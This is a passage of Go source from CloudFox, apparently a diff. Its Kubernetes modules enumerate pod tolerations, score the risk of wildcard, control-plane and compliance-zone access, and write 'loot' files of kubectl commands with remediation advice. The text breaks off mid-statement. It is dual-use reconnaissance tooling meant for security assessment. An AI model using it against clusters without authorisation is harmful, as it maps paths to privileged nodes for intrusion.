NodeName string
|
||||
ToleratedTaints []string
|
||||
UntoleratedTaints []string
|
||||
IsPrivileged bool
|
||||
HostAccess string
|
||||
UnauthorizedAccess bool
|
||||
ComplianceViolation string
|
||||
WildcardBypass bool
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
}
|
||||
|
||||
// helper to check if a toleration matches a taint (improved version)
|
||||
func ttToleratesTaint(tol v1.Toleration, taint v1.Taint) bool {
|
||||
// Wildcard toleration: empty key + Exists operator = tolerates ALL taints
|
||||
if tol.Key == "" && tol.Operator == v1.TolerationOpExists {
|
||||
return true
|
||||
}
|
||||
|
||||
// Key must match
|
||||
if tol.Key != taint.Key {
|
||||
return false
|
||||
}
|
||||
|
||||
// Effect must match (or toleration has empty effect which matches all effects for that key)
|
||||
if tol.Effect != taint.Effect && tol.Effect != v1.TaintEffect("") {
|
||||
return false
|
||||
}
|
||||
|
||||
switch tol.Operator {
|
||||
case v1.TolerationOpExists:
|
||||
// Key exists, value ignored
|
||||
return true
|
||||
case v1.TolerationOpEqual, "":
|
||||
// Operator Equal or default, key and value must match
|
||||
return tol.Value == taint.Value
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func ListTaintsTolerations(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Extract global flags
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating taint-toleration mappings for %s", globals.ClusterName), globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
// Get all nodes using cache
|
||||
nodes, err := sdk.GetNodes(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "nodes", "", err, globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
nodeTaints := map[string][]v1.Taint{}
|
||||
nodeRoles := map[string]string{}
|
||||
nodeComplianceZones := map[string]string{}
|
||||
|
||||
for _, node := range nodes {
|
||||
nodeTaints[node.Name] = node.Spec.Taints
|
||||
nodeRoles[node.Name] = detectNodeRoleTT(node.Labels)
|
||||
nodeComplianceZones[node.Name] = detectComplianceZoneTT(node.Labels, node.Spec.Taints)
|
||||
}
|
||||
|
||||
headersPods := []string{
|
||||
"Namespace",
|
||||
"PodName",
|
||||
"NodeName",
|
||||
"Node Role",
|
||||
"ToleratedTaints",
|
||||
"UntoleratedTaints",
|
||||
"Issues",
|
||||
}
|
||||
var outputRowsPods [][]string
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
loot.Section("PodTolerations-info")
|
||||
|
||||
loot.Section("Unauthorized-Access").SetHeader(`#####################################
|
||||
##### Unauthorized Node Access
|
||||
#####################################
|
||||
# Pods accessing nodes they shouldn't
|
||||
# App pods on master nodes, etc.
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Compliance-Violations").SetHeader(`#####################################
|
||||
##### Compliance Violations
|
||||
#####################################
|
||||
# Pods bypassing compliance zone isolation
|
||||
# PCI, HIPAA, or other regulated environments
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Wildcard-Bypasses").SetHeader(`#####################################
|
||||
##### Wildcard Toleration Bypasses
|
||||
#####################################
|
||||
# Pods with wildcard tolerations bypassing all taints
|
||||
# Can schedule anywhere including sensitive nodes
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Remediation-Guide").SetHeader(`#####################################
|
||||
##### Remediation Guidance
|
||||
#####################################
|
||||
# Step-by-step fixes for taint-toleration issues
|
||||
|
||||
`)
|
||||
|
||||
allTaintsSet := map[string]struct{}{}
|
||||
taintTolerated := map[string]bool{}
|
||||
var podMatches []PodTaintMatch
|
||||
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
// Get all pods using cache
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "pods", "", err, globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
for _, pod := range allPods {
|
||||
nodeName := pod.Spec.NodeName
|
||||
if nodeName == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
podMatch := PodTaintMatch{
|
||||
Namespace: pod.Namespace,
|
||||
PodName: pod.Name,
|
||||
NodeName: nodeName,
|
||||
}
|
||||
|
||||
// Analyze pod security context
|
||||
podMatch.IsPrivileged = isPodPrivileged(&pod)
|
||||
podMatch.HostAccess = getHostAccessString(&pod)
|
||||
|
||||
taints := nodeTaints[nodeName]
|
||||
var toleratedTaints []string
|
||||
var untoleratedTaints []string
|
||||
|
||||
for _, taint := range taints {
|
||||
taintKey := fmt.Sprintf("%s:%s=%s", taint.Key, taint.Effect, taint.Value)
|
||||
allTaintsSet[taintKey] = struct{}{}
|
||||
|
||||
if ttToleratesAnyTaint(pod.Spec.Tolerations, taint) {
|
||||
toleratedTaints = append(toleratedTaints, taintKey)
|
||||
taintTolerated[taintKey] = true
|
||||
} else {
|
||||
untoleratedTaints = append(untoleratedTaints, taintKey)
|
||||
if _, seen := taintTolerated[taintKey]; !seen {
|
||||
taintTolerated[taintKey] = false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
podMatch.ToleratedTaints = toleratedTaints
|
||||
podMatch.UntoleratedTaints = untoleratedTaints
|
||||
|
||||
// Detect security issues
|
||||
podMatch.WildcardBypass = hasWildcardToleration(pod.Spec.Tolerations)
|
||||
podMatch.UnauthorizedAccess = detectUnauthorizedAccess(&pod, nodeRoles[nodeName], pod.Spec.Tolerations)
|
||||
podMatch.ComplianceViolation = detectComplianceViolationTT(&pod, nodeComplianceZones[nodeName])
|
||||
|
||||
// Calculate risk
|
||||
podMatch.RiskLevel, podMatch.RiskScore = calculateTaintTolerationRisk(&podMatch, nodeRoles[nodeName])
|
||||
podMatch.SecurityIssues = generateTaintTolerationIssues(&podMatch, nodeRoles[nodeName])
|
||||
|
||||
riskCounts.Add(podMatch.RiskLevel)
|
||||
podMatches = append(podMatches, podMatch)
|
||||
|
||||
toleratedStr := "<NONE>"
|
||||
if len(toleratedTaints) > 0 {
|
||||
toleratedStr = strings.Join(toleratedTaints, "\n")
|
||||
}
|
||||
|
||||
untoleratedStr := "<NONE>"
|
||||
if len(untoleratedTaints) > 0 {
|
||||
untoleratedStr = strings.Join(untoleratedTaints, "\n")
|
||||
}
|
||||
|
||||
row := []string{
|
||||
k8sinternal.NonEmpty(pod.Namespace),
|
||||
k8sinternal.NonEmpty(pod.Name),
|
||||
k8sinternal.NonEmpty(nodeName),
|
||||
nodeRoles[nodeName],
|
||||
toleratedStr,
|
||||
untoleratedStr,
|
||||
fmt.Sprintf("%d", len(podMatch.SecurityIssues)),
|
||||
}
|
||||
outputRowsPods = append(outputRowsPods, row)
|
||||
|
||||
loot.Section("PodTolerations-info").Addf("### [%s] Namespace: %s | Pod: %s | Node: %s (%s)",
|
||||
podMatch.RiskLevel, pod.Namespace, pod.Name, nodeName, nodeRoles[nodeName])
|
||||
loot.Section("PodTolerations-info").Addf("# Tolerated: %d | Untolerated: %d | Issues: %d",
|
||||
len(toleratedTaints), len(untoleratedTaints), len(podMatch.SecurityIssues))
|
||||
if len(toleratedTaints) > 0 {
|
||||
loot.Section("PodTolerations-info").Add("# Tolerated Taints:")
|
||||
for _, t := range toleratedTaints {
|
||||
loot.Section("PodTolerations-info").Addf("# - %s", t)
|
||||
}
|
||||
}
|
||||
if len(untoleratedTaints) > 0 {
|
||||
loot.Section("PodTolerations-info").Add("# Untolerated Taints:")
|
||||
for _, t := range untoleratedTaints {
|
||||
loot.Section("PodTolerations-info").Addf("# - %s", t)
|
||||
}
|
||||
}
|
||||
if len(podMatch.SecurityIssues) > 0 {
|
||||
loot.Section("PodTolerations-info").Add("# Security Issues:")
|
||||
for _, issue := range podMatch.SecurityIssues {
|
||||
loot.Section("PodTolerations-info").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("PodTolerations-info").Add("")
|
||||
|
||||
// Loot: Unauthorized access
|
||||
if podMatch.UnauthorizedAccess {
|
||||
loot.Section("Unauthorized-Access").Add("")
|
||||
loot.Section("Unauthorized-Access").Addf("### [%s] %s/%s on %s (%s)", podMatch.RiskLevel, pod.Namespace, pod.Name, nodeName, nodeRoles[nodeName])
|
||||
loot.Section("Unauthorized-Access").Addf("# Privileged: %v | HostAccess: %s", podMatch.IsPrivileged, podMatch.HostAccess)
|
||||
if len(podMatch.SecurityIssues) > 0 {
|
||||
loot.Section("Unauthorized-Access").Add("# Issues:")
|
||||
for _, issue := range podMatch.SecurityIssues {
|
||||
loot.Section("Unauthorized-Access").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Unauthorized-Access").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Unauthorized-Access").Add("")
|
||||
}
|
||||
|
||||
// Loot: Compliance violations
|
||||
if podMatch.ComplianceViolation != "" {
|
||||
loot.Section("Compliance-Violations").Add("")
|
||||
loot.Section("Compliance-Violations").Addf("### [%s] %s/%s - %s Zone Violation", shared.RiskCritical, pod.Namespace, pod.Name, podMatch.ComplianceViolation)
|
||||
loot.Section("Compliance-Violations").Addf("# Node: %s | Compliance Zone: %s", nodeName, podMatch.ComplianceViolation)
|
||||
loot.Section("Compliance-Violations").Addf("# Pod bypassing %s compliance isolation", podMatch.ComplianceViolation)
|
||||
loot.Section("Compliance-Violations").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Compliance-Violations").Add("")
|
||||
}
|
||||
|
||||
// Loot: Wildcard bypasses
|
||||
if podMatch.WildcardBypass {
|
||||
loot.Section("Wildcard-Bypasses").Add("")
|
||||
loot.Section("Wildcard-Bypasses").Addf("### [%s] %s/%s", podMatch.RiskLevel, pod.Namespace, pod.Name)
|
||||
loot.Section("Wildcard-Bypasses").Addf("# Node: %s (%s) | Privileged: %v", nodeName, nodeRoles[nodeName], podMatch.IsPrivileged)
|
||||
loot.Section("Wildcard-Bypasses").Add("# WARNING: Wildcard toleration can bypass ALL taints")
|
||||
if len(podMatch.SecurityIssues) > 0 {
|
||||
loot.Section("Wildcard-Bypasses").Add("# Issues:")
|
||||
for _, issue := range podMatch.SecurityIssues {
|
||||
loot.Section("Wildcard-Bypasses").Addf("# - %s", issue)
|
||||
}
|
||||
}
|
||||
loot.Section("Wildcard-Bypasses").Addf("kubectl get pod %s -n %s -o yaml", pod.Name, pod.Namespace)
|
||||
loot.Section("Wildcard-Bypasses").Add("")
|
||||
}
|
||||
|
||||
// Loot: Remediation
|
||||
if len(podMatch.SecurityIssues) > 0 {
|
||||
loot.Section("Remediation-Guide").Add("")
|
||||
loot.Section("Remediation-Guide").Addf("### %s/%s - %d Issues", pod.Namespace, pod.Name, len(podMatch.SecurityIssues))
|
||||
for i, issue := range podMatch.SecurityIssues {
|
||||
loot.Section("Remediation-Guide").Addf("# %d. %s", i+1, issue)
|
||||
}
|
||||
loot.Section("Remediation-Guide").Add("# Remediation steps:")
|
||||
if podMatch.UnauthorizedAccess {
|
||||
loot.Section("Remediation-Guide").Addf("# - Remove tolerations allowing access to %s nodes", nodeRoles[nodeName])
|
||||
}
|
||||
if podMatch.WildcardBypass {
|
||||
loot.Section("Remediation-Guide").Add("# - Replace wildcard toleration with specific tolerations")
|
||||
}
|
||||
if podMatch.ComplianceViolation != "" {
|
||||
loot.Section("Remediation-Guide").Addf("# - Add %s compliance zone taint to prevent unauthorized access", podMatch.ComplianceViolation)
|
||||
}
|
||||
loot.Section("Remediation-Guide").Addf("# kubectl edit pod %s -n %s", pod.Name, pod.Namespace)
|
||||
loot.Section("Remediation-Guide").Add("")
|
||||
}
|
||||
}
|
||||
|
||||
// Build pod toleration table and loot
|
||||
podsTable := internal.TableFile{
|
||||
Name: "PodTolerations",
|
||||
Header: headersPods,
|
||||
Body: outputRowsPods,
|
||||
}
|
||||
|
||||
// Add summary
|
||||
if riskCounts.Critical > 0 || riskCounts.High > 0 {
|
||||
summary := fmt.Sprintf(`
|
||||
# SUMMARY: Risk Distribution
|
||||
# CRITICAL: %d pod-taint combinations with critical risks
|
||||
# HIGH: %d pod-taint combinations with high risks
|
||||
# MEDIUM: %d pod-taint combinations with medium risks
|
||||
# LOW: %d pod-taint combinations with low risks
|
||||
#
|
||||
# Focus on CRITICAL and HIGH risk combinations for security review.
|
||||
`, riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low)
|
||||
loot.Section("PodTolerations-info").SetSummary(summary)
|
||||
}
|
||||
|
||||
// Unmatched taints (not tolerated by any pod)
|
||||
headersTaints := []string{"Taint"}
|
||||
var outputRowsTaints [][]string
|
||||
|
||||
loot.Section("UnmatchedTaints-info").SetHeader(`#####################################
|
||||
##### Taints Not Tolerated by Any Pod
|
||||
#####################################
|
||||
# These taints may indicate:
|
||||
# - Overly restrictive isolation (no pods can use these nodes)
|
||||
# - Orphaned/unused nodes
|
||||
# - Missing workload deployments
|
||||
|
||||
`)
|
||||
|
||||
for taint := range allTaintsSet {
|
||||
if tolerated, ok := taintTolerated[taint]; !ok || !tolerated {
|
||||
riskLevel := assessUntoleratedTaintRisk(taint)
|
||||
outputRowsTaints = append(outputRowsTaints, []string{taint})
|
||||
loot.Section("UnmatchedTaints-info").Addf("# [%s] %s", riskLevel, taint)
|
||||
}
|
||||
}
|
||||
if len(outputRowsTaints) == 0 {
|
||||
outputRowsTaints = append(outputRowsTaints, []string{"<NONE>"})
|
||||
loot.Section("UnmatchedTaints-info").Add("# All taints are tolerated by at least one pod")
|
||||
}
|
||||
|
||||
taintsTable := internal.TableFile{
|
||||
Name: "UnmatchedTaints",
|
||||
Header: headersTaints,
|
||||
Body: outputRowsTaints,
|
||||
}
|
||||
|
||||
// Build all loot files
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Output handling
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"Taints-Tolerations",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
TaintsTolerationsOutput{
|
||||
Table: []internal.TableFile{podsTable, taintsTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(outputRowsPods) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d pod tolerations found | Risk: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
len(outputRowsPods),
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low),
|
||||
globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No pod tolerations found, skipping output file creation", globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME), globals.K8S_TAINTS_TOLERATIONS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// ====================
|
||||
// Helper Functions
|
||||
// ====================
|
||||
|
||||
// Helper to check if pod tolerations tolerate a taint
|
||||
func ttToleratesAnyTaint(tolerations []v1.Toleration, taint v1.Taint) bool {
|
||||
for _, tol := range tolerations {
|
||||
if ttToleratesTaint(tol, taint) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectNodeRoleTT(labels map[string]string) string {
|
||||
if _, ok := labels["node-role.kubernetes.io/master"]; ok {
|
||||
return "master"
|
||||
}
|
||||
if _, ok := labels["node-role.kubernetes.io/control-plane"]; ok {
|
||||
return "control-plane"
|
||||
}
|
||||
for key := range labels {
|
||||
if strings.Contains(key, "node-role.kubernetes.io/") {
|
||||
parts := strings.Split(key, "/")
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return "worker"
|
||||
}
|
||||
|
||||
func detectComplianceZoneTT(labels map[string]string, taints []v1.Taint) string {
|
||||
for key, value := range labels {
|
||||
lowerKey := strings.ToLower(key)
|
||||
if strings.Contains(lowerKey, "compliance") || strings.Contains(lowerKey, "pci") || strings.Contains(lowerKey, "hipaa") {
|
||||
return value
|
||||
}
|
||||
}
|
||||
for _, taint := range taints {
|
||||
lowerKey := strings.ToLower(taint.Key)
|
||||
if strings.Contains(lowerKey, "pci") {
|
||||
return "PCI"
|
||||
}
|
||||
if strings.Contains(lowerKey, "hipaa") {
|
||||
return "HIPAA"
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isPodPrivileged(pod *v1.Pod) bool {
|
||||
for _, container := range pod.Spec.Containers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, container := range pod.Spec.InitContainers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getHostAccessString(pod *v1.Pod) string {
|
||||
var access []string
|
||||
if pod.Spec.HostNetwork {
|
||||
access = append(access, "Net")
|
||||
}
|
||||
if pod.Spec.HostPID {
|
||||
access = append(access, "PID")
|
||||
}
|
||||
if pod.Spec.HostIPC {
|
||||
access = append(access, "IPC")
|
||||
}
|
||||
if len(access) == 0 {
|
||||
return "None"
|
||||
}
|
||||
return strings.Join(access, ",")
|
||||
}
|
||||
|
||||
func hasWildcardToleration(tolerations []v1.Toleration) bool {
|
||||
for _, tol := range tolerations {
|
||||
if tol.Key == "" && tol.Operator == v1.TolerationOpExists {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectUnauthorizedAccess(pod *v1.Pod, nodeRole string, tolerations []v1.Toleration) bool {
|
||||
// Non-system pods on master/control-plane nodes
|
||||
if (nodeRole == "master" || nodeRole == "control-plane") &&
|
||||
!strings.HasPrefix(pod.Namespace, "kube-") &&
|
||||
pod.Namespace != "kube-system" {
|
||||
return true
|
||||
}
|
||||
|
||||
// Wildcard toleration = can access anywhere
|
||||
if hasWildcardToleration(tolerations) {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func detectComplianceViolationTT(pod *v1.Pod, complianceZone string) string {
|
||||
if complianceZone == "" {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Non-compliant namespaces accessing compliance zones
|
||||
if !strings.Contains(strings.ToLower(pod.Namespace), strings.ToLower(complianceZone)) {
|
||||
return complianceZone
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
func calculateTaintTolerationRisk(match *PodTaintMatch, nodeRole string) (string, int) {
|
||||
score := 0
|
||||
|
||||
// Unauthorized access to sensitive nodes
|
||||
if match.UnauthorizedAccess {
|
||||
score += 50
|
||||
}
|
||||
|
||||
// Compliance violations are critical
|
||||
if match.ComplianceViolation != "" {
|
||||
score += 60
|
||||
}
|
||||
|
||||
// Wildcard bypass
|
||||
if match.WildcardBypass {
|
||||
score += 40
|
||||
}
|
||||
|
||||
// Privileged pods with dangerous tolerations
|
||||
if match.IsPrivileged {
|
||||
score += 20
|
||||
if match.UnauthorizedAccess || match.WildcardBypass {
|
||||
score += 20
|
||||
}
|
||||
}
|
||||
|
||||
// Host access
|
||||
if match.HostAccess != "None" {
|
||||
score += 15
|
||||
}
|
||||
|
||||
// Master/control-plane access
|
||||
if nodeRole == "master" || nodeRole == "control-plane" {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// Determine risk level
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical, ttMin(score, 100)
|
||||
} else if score >= 40 {
|
||||
return shared.RiskHigh, score
|
||||
} else if score >= 20 {
|
||||
return shared.RiskMedium, score
|
||||
}
|
||||
return shared.RiskLow, score
|
||||
}
|
||||
|
||||
func generateTaintTolerationIssues(match *PodTaintMatch, nodeRole string) []string {
|
||||
var issues []string
|
||||
|
||||
if match.UnauthorizedAccess {
|
||||
issues = append(issues, fmt.Sprintf("UNAUTHORIZED: Pod accessing %s node", nodeRole))
|
||||
}
|
||||
|
||||
if match.ComplianceViolation != "" {
|
||||
issues = append(issues, fmt.Sprintf("COMPLIANCE VIOLATION: Bypassing %s zone isolation", match.ComplianceViolation))
|
||||
}
|
||||
|
||||
if match.WildcardBypass {
|
||||
issues = append(issues, "WILDCARD BYPASS: Can schedule on ANY node including master/GPU/compliance zones")
|
||||
}
|
||||
|
||||
if match.IsPrivileged && (match.UnauthorizedAccess || match.WildcardBypass) {
|
||||
issues = append(issues, "PRIVILEGE ESCALATION: Privileged pod + dangerous node access")
|
||||
}
|
||||
|
||||
if match.IsPrivileged {
|
||||
issues = append(issues, "Privileged container - full host access")
|
||||
}
|
||||
|
||||
if match.HostAccess != "None" {
|
||||
issues = append(issues, fmt.Sprintf("Host access: %s", match.HostAccess))
|
||||
}
|
||||
|
||||
if len(match.UntoleratedTaints) > 0 && !match.WildcardBypass {
|
||||
issues = append(issues, fmt.Sprintf("%d taints not tolerated - may cause scheduling issues", len(match.UntoleratedTaints)))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func assessUntoleratedTaintRisk(taint string) string {
|
||||
lowerTaint := strings.ToLower(taint)
|
||||
|
||||
// Critical taints that should have pods tolerating them
|
||||
if strings.Contains(lowerTaint, "master") ||
|
||||
strings.Contains(lowerTaint, "control-plane") ||
|
||||
strings.Contains(lowerTaint, "pci") ||
|
||||
strings.Contains(lowerTaint, "hipaa") {
|
||||
return shared.RiskMedium
|
||||
}
|
||||
|
||||
// GPU or specialized hardware
|
||||
if strings.Contains(lowerTaint, "gpu") ||
|
||||
strings.Contains(lowerTaint, "nvidia") {
|
||||
return shared.RiskLow
|
||||
}
|
||||
|
||||
return shared.RiskLow
|
||||
}
|
||||
|
||||
func ttMin(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,605 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"sigs.k8s.io/yaml"
|
||||
)
|
||||
|
||||
var TolerationsCmd = &cobra.Command{
|
||||
Use: "tolerations",
|
||||
Aliases: []string{"tol"},
|
||||
Short: "List all cluster Pod Tolerations with security analysis",
|
||||
Long: `
|
||||
List all cluster Pod Tolerations with comprehensive security analysis including:
|
||||
- Wildcard toleration detection (can schedule anywhere)
|
||||
- Master node access detection (pods tolerating control-plane taints)
|
||||
- Privilege escalation detection (tolerations + privileged containers)
|
||||
- Compliance zone bypass detection (PCI/HIPAA isolation bypass)
|
||||
- Infinite/long tolerationSeconds detection
|
||||
- Pod security context correlation
|
||||
- Risk scoring for dangerous toleration patterns
|
||||
|
||||
cloudfox kubernetes tolerations`,
|
||||
Run: ListTolerations,
|
||||
}
|
||||
|
||||
type TolerationsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t TolerationsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t TolerationsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type PodTolerationInfo struct {
|
||||
Namespace string
|
||||
PodName string
|
||||
Tolerations []corev1.Toleration
|
||||
WildcardTolerations []string
|
||||
MasterNodeAccess bool
|
||||
ComplianceBypass string
|
||||
IsPrivileged bool
|
||||
HostNetwork bool
|
||||
HostPID bool
|
||||
HostIPC bool
|
||||
ServiceAccount string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
PrivilegeEscalation bool
|
||||
InfiniteTolerationSecs bool
|
||||
}
|
||||
|
||||
func ListTolerations(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
// Extract global flags
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating pod tolerations for %s", globals.ClusterName), globals.K8S_TOLERATIONS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
loot.Section("Tolerations-Enum").SetHeader(`#####################################
|
||||
##### Enumerate Toleration Information
|
||||
#####################################
|
||||
|
||||
`)
|
||||
if globals.KubeContext != "" {
|
||||
loot.Section("Tolerations-Enum").Addf("kubectl config use-context %s\n", globals.KubeContext)
|
||||
}
|
||||
|
||||
loot.Section("Pod-YAMLs").SetHeader(`#####################################
|
||||
##### Pod YAMLs for Tolerations
|
||||
#####################################
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Wildcard-Tolerations").SetHeader(`#####################################
|
||||
##### Wildcard Tolerations (Security Risk)
|
||||
#####################################
|
||||
# Pods with wildcard tolerations can schedule ANYWHERE
|
||||
# Including master nodes, GPU nodes, compliance zones
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Privilege-Escalation").SetHeader(`#####################################
|
||||
##### Privilege Escalation Risks
|
||||
#####################################
|
||||
# Pods with dangerous tolerations + privileged security context
|
||||
# Can access sensitive nodes with elevated privileges
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Compliance-Bypass").SetHeader(`#####################################
|
||||
##### Compliance Zone Bypass
|
||||
#####################################
|
||||
# Pods that can bypass compliance zone isolation
|
||||
# PCI, HIPAA, or other regulated environments
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Master-Access").SetHeader(`#####################################
|
||||
##### Master/Control-Plane Access
|
||||
#####################################
|
||||
# Pods tolerating master node taints
|
||||
# Unauthorized access = cluster compromise
|
||||
|
||||
`)
|
||||
|
||||
headers := []string{
|
||||
"Namespace",
|
||||
"Pod Name",
|
||||
"Toleration Key",
|
||||
"Operator",
|
||||
"Value",
|
||||
"Effect",
|
||||
"Toleration Seconds",
|
||||
"Privileged",
|
||||
"Host Access",
|
||||
}
|
||||
|
||||
var outputRows [][]string
|
||||
var podInfos []PodTolerationInfo
|
||||
|
||||
riskCounts := shared.NewRiskCounts()
|
||||
|
||||
// Get all pods using cache
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "pods", "", err, globals.K8S_TOLERATIONS_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
for _, pod := range allPods {
|
||||
podInfo := PodTolerationInfo{
|
||||
Namespace: pod.Namespace,
|
||||
PodName: pod.Name,
|
||||
Tolerations: pod.Spec.Tolerations,
|
||||
ServiceAccount: pod.Spec.ServiceAccountName,
|
||||
}
|
||||
|
||||
// Analyze pod security context
|
||||
podInfo.HostNetwork = pod.Spec.HostNetwork
|
||||
podInfo.HostPID = pod.Spec.HostPID
|
||||
podInfo.HostIPC = pod.Spec.HostIPC
|
||||
|
||||
// Check for privileged containers
|
||||
for _, container := range pod.Spec.Containers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
podInfo.IsPrivileged = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !podInfo.IsPrivileged {
|
||||
for _, container := range pod.Spec.InitContainers {
|
||||
if container.SecurityContext != nil &&
|
||||
container.SecurityContext.Privileged != nil &&
|
||||
*container.SecurityContext.Privileged {
|
||||
podInfo.IsPrivileged = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze tolerations
|
||||
podInfo.WildcardTolerations = detectWildcardTolerations(pod.Spec.Tolerations)
|
||||
podInfo.MasterNodeAccess = detectMasterNodeAccess(pod.Spec.Tolerations)
|
||||
podInfo.ComplianceBypass = detectComplianceBypass(pod.Spec.Tolerations)
|
||||
podInfo.InfiniteTolerationSecs = detectInfiniteToleration(pod.Spec.Tolerations)
|
||||
|
||||
// Detect privilege escalation
|
||||
if (podInfo.IsPrivileged || podInfo.HostNetwork || podInfo.HostPID) &&
|
||||
